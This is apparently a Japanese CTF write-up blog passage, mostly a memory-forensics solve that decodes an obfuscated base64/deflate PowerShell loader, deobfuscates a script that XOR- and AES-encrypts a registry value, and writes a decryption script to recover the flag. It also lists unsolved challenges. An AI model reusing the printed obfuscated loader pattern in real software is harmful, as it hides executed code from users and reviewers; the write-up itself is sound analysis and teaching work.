TQB2AHcAWQA2AFIAZABWAFoASABGADIALwBJAHIAUQAwAHAAeQBvAEMAVgBIAE4AUABiADYAWQA4AG4AMgAvADQANwBlADMAdwBhAG0AbQB2AHEAbgBBACsANwBiAFkAUgBkAHUAaQA5ADEASABzAG8AZQBvAHEAdQBMAEYAcQBCAHIAdQB3ADYAVQBiAFcAcAArAEgATQBRAEsANwBIAEIAcQBOAFYAMABlAGcAbwAvAG0ATgBjAFAAcABlAE0AaABBADYAcABTAEIAYgA4AHIAeQB3AEsAeQBYAHAAMQB2AFIATwBoAFEAbgBJADgAbQBZAGUAYwArADUAbgBnAEwATQArAHAASQBWAGIATgBkADkAaQB0AEgAQgBJAEwAbwBVAHcAMABOAE4AVABWAGsAOABIADcAdgBkAHUAbwBqAHAAbABzAEkASgBVAGgAYQBpAEsAZwBmAG4AUABTAGUAaAB0AFoAZAAyAGUAMgAzAFkAcwA2ADEAdAB4AFcAUgBEAG4ASwB6ADMAVgBxAGwAUABZAHEAKwA5AHAAawBDAEcAbwA0AHQASQBWAGcAKwBEAEwAYQBnADEAUABYADMAbwBKAGcAdgBNAC8ANgAvAFoAUgBnAGYAWgBBADQAcQA3AGoAdwBBADIARgBGAFUASABmAHYANwA4AEoALwAyAG4AaQBLAEIAWABSAFEAdgB1AHAAZABmAGoAVABuAFIAcgBtAFcAVQBJADEASABFADMAVABXAFIAdQBEAHIARgAxAHMAZgBHADIAUgBaAE4AMQBoAE4AOQBWAGcAYQBkAFEANQBXAEkAKwBxAHcAcgAxAFoAWQBWAGkAYwBKAFUANgAvAHoAWgBPAFkAMABVAFcAMABUAEsAbQBaAEQAZwBDAFEAbQB0ADMAeABpAGYAUgBTADAAeQBMAHUAVABnAHcAVgBqAFgAWgBEAHIAWQA2AFYAdwBiAFkAeABLAE8ATQBkAEIAOQArAG0AVQBOAGkAMgBUAE8AagBmAHoASgBwADgANwBPAFkAMgByAHgAVgBQAGgATAB1AGwAbwBPAE8AbgBKAHEASQBhADgAZQBXADIAegBUAHIAdABjAGIARgBFAFgAdgBRACsAMQBOAFUASwA1AFcAUwA3AFMAKwB4ADIAVgBYAFIAVgBIAHAAUgBaAEkAOAAxAHAAUgBQADIAbAByADEAawBiADkAUQA4AFAANQBoAHIAMQBTAG4AZgByAGMANwBUAGkAMAA2AHUATgBNAHAAMQA2AFcANwBmAHQAagBzAEEAbAAzAEsAWABuAFgATABFAG0AYgBYADQAVgA4ADQAdAByAEEAMwBWAGYAKwAyAHMASwBFAG4AagBHAC8AYgB3AHEAeABhAGkAUgBKAHkAaABiAE0AYQB4AHoANQBSADMAdgB2AHoAVQBmAGQAUwAyAFMAOQBVAEsAUwAzAGQATABOAFAAWgBLAFUATwBLAGIAQwBMAGIAVgBMAEcAaQBXAHAASABkAEkARwBiADAARwBDAE4AaQA2AFcAOAA5AEwANQBLAGQAcgBXAE8AZgBLADkAKwB1AEEARgB2AFgAQwB0AEgAbQBUAGoAbwBZAHgANQBzAHMAOQBSAEwAOQBvAGcAOQArAEwAUABwAC8ARABHADYAcQBYAFcANwAyAHUARgBYAFAAcwBuAGcAbAAwAEgAbwBjAFMASwBrAE4AaQBOAEQAUQBUAFAASgBhAE8AYQBvAEUAYQBrAFoAQwBpAHoANABPAHYAOQAzAGkAWABtAGoAQgBaAE4AOABxADgAegBjADkAcgBlADgAbgBvADUARgBXAHIAbgBSAG4AbwBtAE4AZQBZACsARAB6AE0AUABhAFAASQA0ADAAdQAyAEYAUwB3AFYAQwB6AEMAawBqAFQAUAA2AEoARwBWAG4AcgBmAGkAMAA0AGYARgBrAHUARgAvAE0AYwBJADQAOQBwAEcALwBTAHQAMQBnAGkAQQA4AEIAYgArADEAOQB4ADkAOAArAEIAdQBnAFgAOQA1AFEAMQBqAEwAMwA2ADIAZABDAEMAdABMADUAMgBLAFcAQQA5AGQANABuAFMAUQBkAHAAbABXADAAdgBOADgAbwAwAEwAQQBCAFgAVAB0AEYASQArADMAUQBZAGgAWgB4AFgAVQB4AEUAcAB0AEcAVwA2AEMAMgBjAHAAMgBQAE0AYgBLAEUAMQBaAEIAYwA5AFoASAByAG0AZQBGAE0AeAB6ADAANgBNAEIAUQA1AEEAMgB2AEsAcQBGAHoAVgB3AEYAbgBqAHEAawBaADIAawBlAEcAQwBxAHAAdgBLAGEAaABsAE0AdgBNAC8AJwApACAALAAgAFsAcwBZAFMAdABFAE0ALgBJAE8ALgBjAG8AbQBQAHIAZQBzAHMAaQBvAG4ALgBjAE8AbQBwAFIAZQBTAHMASQBvAE4AbQBPAGQAZQBdADoAOgBEAGUAQwBvAG0AcAByAEUAUwBTACkAfAAlAHsAIABOAEUAVwAtAG8AQgBqAEUAQwB0ACAASQBvAC4AUwB0AFIARQBBAE0AUgBlAGEAZABFAFIAKAAgACQAXwAgACwAWwB0AEUAeAB0AC4AZQBuAEMATwBEAGkATgBnAF0AOgA6AGEAUwBDAEkASQApACAAfQAgACkALgByAGUAYQBEAHQAbwBFAE4ARAAoACkAIAA=
5536    winpmem_mini_x  winpmem_mini_x64_rc2.exe  memory.raw

 PID 2068 にめっちゃ怪しい base64-encoded なデータが・・・

 そこで、これを cyberchef で decode します。UTF-16LE っぽい文字列になるので、これも続けて decode します。

 さてまたまた怪しげなものが。。。base64 decode した結果をさらに deflate して実行するような命令です。ですので、この bae64-encoded の部分を decodeし、さらに inflate (Raw Inflate)して中身を確認します。

 可読性の悪いスクリプトっぽい文字列が出てくるので、ここから先は Powershell で「動的解析」することにしました。具体的には、この中から payload に当たる部分(iex の引数に該当する部分)を抜き出して実行させます*13

 結果は以下の通り(7行目のif~)。コンピュータ名が「RICSEC」のときに何かの命令を実行するスクリプトのようです。

 この条件が真だった場合に行われる処理について、前と同様に、payload 部を抜き出し解析を続けます。

 結果は以下の通り。日付が 4 月 1 日だったときに何かの命令を実行するスクリプト*14のようです。

 もう少しだけ同様の作業を進めます。

 結果は以下の通り。そろそろ手作業で出来そうな感じになりました。

 少し手作業で可読化を進めてみます。

if((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {
  Set-Item  ('Variable:s9qik1') ( [Type]("System.Text.Encoding"));
  ${B}=(&('gp') ("HKCU:\Software\Microsoft\CTF")."fiend";
  ${K}= $s9qik1::Ascii.GetBytes.Invoke("f1bb3r");
  for(${i}=0; ${i}-lt${B}.length; ${i}++){
    ${B}[${i}] = ${B}[${i}]-bxor${K}[${i}%${K}.length]
  }
  ${A}= New-Object("System.Security.Cryptography.AesCryptoServiceProvider");
  ${Sh} = New-Object("System.Security.Cryptography.SHA256Managed");
  ${U} = New-Object("System.Text.UTF8Encoding");
  ${H}= ${sh}.ComputeHash(${U}.GetBytes.Invoke(${K}));
  ${A}.key = ${H};
  [byte[]]${iv} = 0..15;
  ${A}.iv = ${iv};
  ${e} = ${A}.CreateEncryptor.Invoke();
  ${ed} = ${e}.TransformFinalBlock.Invoke(${b}, 0, ${b}.length);
  ${ed};
  &('sp') ("HKCU:\Software\Microsoft\CTF") -Name ("fiend") -Value ${ed};
}

 レジストリの「HKCU:\Software\Microsoft\CTF」キーの「fiend」サブキーにあるデータ(フラグ)を暗号化する処理のようです。

 まずは、暗号化後の値をメモリダンプから抽出します。

「vol -f memory.raw windows.registry.printkey --key "Software\Microsoft\CTF" --recurse」の結果

Volatility 3 Framework 2.4.2
Progress:  100.00               PDB scanning finished                        
Last Write Time Hive Offset     Type    Key     Name    Data    Volatile

-       0x850e68a85000  Key     ?\Software\Microsoft\CTF        -               -
-       0x850e68a5b000  Key     ?\Software\Microsoft\CTF        -               -
-       0x850e68b32000  Key     ?\Software\Microsoft\CTF        -               -

(中略)

2023-04-01 08:44:57.000000      0x850e6e280000  REG_BINARY      \??\C:\Users\User\ntuser.dat\Software\Microsoft\CTF     fiend   "
39 da 2a 85 c9 5b 42 17 9.*..[B.
84 11 d8 23 3b 0b f2 0e ...#;...
26 8c 95 89 ff e6 f1 7e &......~
4b f8 43 42 d0 24 37 70 K.CB.$7p"       False
-       0x850e6dcd2000  Key     ?\Software\Microsoft\CTF        -               -


(後略)

 「39 da 2a 85 c9 5b 42 17 9 84 11 d8 23 3b 0b f2 0e 26 8c 95 89 ff e6 f1 7e 4b f8 43 42 d0 24 37 70」という32バイトのデータであることが判明しました。

 続いて先の可読化したスクリプトを精査すると、暗号化方式は AES、キーは「f1bb3r」の SHA256 ハッシュ(32バイト)、iv は 0x0~0x15 が順に並んだバイト列(16バイト)であることが分かります。ただし、AES 暗号化の前で「f1bb3r」をキーに xor 処理が入っていますので注意が必要です。

 これらを踏まえ、復号スクリプトを以下のように作成し*15PowerShell 上でて実行します。

Set-Item  ('Variable:s9qik1') ( [Type]("System.Text.Encoding"));
${C} = 57,218,42,133,201,91,66,23,132,17,216,35,59,11,242,14,38,140,149,137,255,230,241,126,75,248,67,66,208,36,55,112
${K}= $s9qik1::Ascii.GetBytes.Invoke("f1bb3r");
${A}= New-Object("System.Security.Cryptography.AesCryptoServiceProvider");
${Sh} = New-Object("System.Security.Cryptography.SHA256Managed");
${U} = New-Object("System.Text.UTF8Encoding");
${H}= ${sh}.ComputeHash(${U}.GetBytes.Invoke(${K}));
[byte[]]${iv} = 0..15;
${A}.key = ${H};
${A}.iv = ${iv};
${d}=${A}.CreateDecryptor.Invoke();
${pt}=${d}.TransformFinalBlock.Invoke(${C}, 0, ${C}.length);
for(${i}=0; ${i}-lt${pt}.length; ${i}++){
  ${pt}[${i}] = ${pt}[${i}]-bxor${K}[${i}%${K}.length]
[System.Text.Encoding]::UTF8.GetString($pt)

フラグ

RicSec{6r347_90w3r!}

 ちなみに、このフラグを submit した時刻は手許の時計で 13:37 でした。イェイ!

5. 解けなかった問題

 競技中に解けた問題は上のもので全てです。一時期はランク一桁まで行ったので、波に乗って解き続けたかったのですが、そう甘くはありませんでした。実際、最後にフラグを submit したのが 16:36 で、その後の 5 時間半は

 【心の声】まだだ、まだ終わらんよ。 

 とつぶやきながら、ひたすら時間(と体力)を溶かしていました。

 なお、チャレンジして解けなかったのは以下の 4 つです。

  • dice-vs-kymn
     有限体上の楕円曲線をベースとした問題で、Crypto 問というより数学問といった方が良さげな問題でした。「Math」を名乗っている以上、解く必要があったのですが解けませんでした!この問題を唯一人解いたチョコラスクさん(@nuo_chocorusk)に対しては、リスペクトのお気持ちMAXです。

  • RsLocker
     Forensics 問を解いた勢いでチャレンジしようと思いつつ、 他の問題を優先して結局途中放棄になってしまいました。・・・ぶっちゃけて言うと、動的解析しててデスクトップが虚無った(※プログラムの想定動作です)ため心がポキっと折れました。サーセン

  • tinyDB
     solve 数が多かったのでどうにか行けるかと思ったのですが、ダメでした。「ダイナミック系のゲームはそもそも苦手だし、Webも苦手分野だったので。」という言い訳をしていると、「歯ぁ喰いしばれ!そんな大人、修正してやる!!」とカ●ーユのパンチが飛んできそうなので*16これ以上は黙っておきましょう。

  • gatekeeper
     base64のハック問で、先頭・末尾・中間に「====」を入れるなど悪あがきしたのですが、全く刺さりませんでした。

6. おわりに(お気持ち表明)

  • 嬉しい😄😄😄:forensics 全完!…って、出題されたのは1 問だけですけど、ヨシ!
  • 悔しい😣😣😣:dice-vs-kymn が解けなかった!この「お礼」は必ずいつか作問で!
  • 大反省😞😞😞:tinyDB を落とした!ひたすら反省!

次回も・・・もちろん出ますので是非開催をお願いします!

*1:総帥兼プレイヤー "Edwow Math" からなるソロチームです。

*2:虚無っていた時間を多々含みます。

*3:それって、まんま「CTF」じゃん!?

*4:終盤にはちゃんと修正されていたので👏👏👏

*5:フラグが投稿されたチャンネルを明示している点が親切です。

*6:ルールを読み飛ばして「地雷」を踏まないよう、CTF 慣れしてきたら特にしっかり読むよう心掛けた方が良いです。

*7:バイナリエディタhttps://gitlab.com/devill.tamachan/binaryeditorbz/-/releases

*8:バイナリ解析の定番ツール。https://hex-rays.com/ida-free/

*9:サーバ上で/imagesから見た相対パス

*10:実際には、0でなければ OK。先の適当なデータ(\x00以外)を0x101バイトにしても可。

*11:Crypto Player 必携の数式処理システム。https://www.sagemath.org/

*12:定番のメモリフォレンジックツール。https://github.com/volatilityfoundation/volatility3

*13:この手のヤバいものを解析する場合は stand alone マシンの VM 上でやりますが、今回は特に気を遣わずやっています。

*14:エイプリルフールかよ!と思ったのは内緒です。

*15:処理の内容が分かっていれば競技中に可読化する必要はないですが、復習するときに可読化した方が良いかと思います。

*16:もちろん「これが若さか!」と涙ぐみながら吹っ飛ばされることになります。